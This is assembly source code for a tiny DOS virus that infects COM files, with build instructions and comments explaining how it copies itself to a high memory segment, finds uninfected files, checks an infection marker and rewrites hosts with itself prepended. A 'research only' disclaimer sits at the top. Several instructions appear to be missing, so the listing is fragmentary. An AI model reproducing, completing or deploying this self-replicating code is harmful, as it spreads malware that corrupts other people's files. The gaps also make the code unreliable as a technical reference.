;A small (139 byte) virus with minimal required functionality.
;This Virus for research purposes only. Please do not release!
;Please execute it only on a carefully controlled system, and only

;Assemble this file with TASM 2.0 or higher: "TASM LITTLE;"
;Link as "TLINK /T LITTLE;"
;Basic explanation of how this virus works:
;
;The virus takes control when the program first starts up. All of its code is
;originally located at the start of a COM file that has been infected. When
;the virus starts, it takes over a segment 64K above the one where the program
;was loaded by DOS. It copies itself up there, and then searches for an
;uninfected file. To determine if a file is infected, it checks the first two
;bytes to see if they are the same as its first two bytes. It reads the file
;into memory right above where it is sitting (at 100H in the upper segment).
;If not already infected, it just writes itself plus the file it infected back
;out to disk under the same file name. Then it moves the host in the lower
;segment back to offset 100H and executes it.

add ax,1000H
mov es,ax ;upper segment is this one + 1000H

mov di,si ;at offset 100H
; mov cl,BYTE (OFFSET HOST AND 0FFH) ;can't code this with TASM
mov cl,8BH ;we can assume ch=0
rep movsb ;this will louse the infection up if run under debug!
mov ds,ax ;set ds to high segment
push ds
mov ax,OFFSET FIND_FILE
push ax
retf ;jump to high memory segment
;Now it's time to find a viable file to infect. We will look for any COM file
;and see if the virus is there already.
FIND_FILE:
xor dx,dx ;move dta to high segment
mov ah,1AH ;so we don't trash the command line
int 21H ;which the host is expecting
mov dx,OFFSET COMFILE
mov ch,3FH ;search for any file, no matter what attribute (note: cx=0 before this instr)

mov bx,ax ;put file handle in bx, and leave it there for the duration
mov di,FSIZE

;When we get here, we've opened a file successfully, and read it into memory.
;In the high segment, the file is set up exactly as it will look when infected.
;Thus, to infect, we just rewrite the file from the start, using the image
;in the high segment.
